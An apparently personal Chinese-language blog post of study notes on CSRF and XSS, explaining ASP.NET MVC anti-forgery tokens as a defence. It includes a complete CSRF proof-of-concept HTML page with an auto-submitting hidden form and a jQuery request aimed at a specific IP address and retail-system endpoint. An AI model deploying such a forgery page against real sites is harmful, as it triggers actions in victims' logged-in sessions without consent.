csrf xss

csrf

cross-site request forgery
是一种典型利用cookie-session漏洞的攻击


场景:
    比如你登录了A网站,然后没有退出 ,这时B网站中有一个恶意form,
    由于cookie是自动添加的,所以B网站的这个form请求时就带上了你的cookie信息

    <!DOCTYPE html>
    <html>
    <head>
                    <meta charset="utf-8">
                    <meta http-equiv="X-UA-Compatible" content="IE=edge">
                    <title>跨站请求伪造攻击</title>
                    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    </head>
    <body>
                    就直接用form来构造攻击,因为用js的话还有跨域的问题
                    <script>
                                    $.get('http://14.116.138.72:8088/RetailKing/SCM/WarehouseEntryApplication/List?searchKey=&order=asc&limit=10&offset=0',function(result){
                                                    console.log(result);
                                    })
                                    $('form').trigger('submit');
                    </script>
                    <form action="http://14.116.138.72:8088/RetailKing/SCM/WarehouseEntryApplication/List?searchKey=&order=asc&limit=10&offset=0" method="get">
                                    <input type="hidden" name="searchKey"/>
                                    <input type="hidden" name="order" value="asc"/>
                                    <input type="hidden" name="limit" value="10"/>
                                    <input type="hidden" name="offset" value="0"/>
                                    <input type="submit" value="submit"/>
                    </form>
    </body>
    </html>

api2.zhangrongblog.com/index.html

.net mvc中反csrf的原理

https://blog.csdn.net/cpytiger/article/details/8781457

原理就是,在cookie和hidden中存储一个随机数,然后对比

为了验证一个来自form post,还需要在目标action上增加[ValidateAntiForgeryToken]特性,它是一个验证过滤器,
它主要检查
(1)请求的是否包含一个约定的AntiForgery名的cookie
(2)请求是否有一个Request.Form["约定的AntiForgery名"],约定的AntiForgery名的cookie和Request.Form值是否匹配

由于B网站中的form中不可能拿到这个随机数,所以不可能通过验证

xss

原本简称应该是css,但是为了和样式表区分,于是改叫xss
它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。


场景:
    在回复中输入js代码,比如评论中执行跳转,然后其他用户就都能够执行了

xss 攻击方式

https://blog.csdn.net/u011781521/article/details/53894399

发表评论

电子邮件地址不会被公开。

18 − 9 =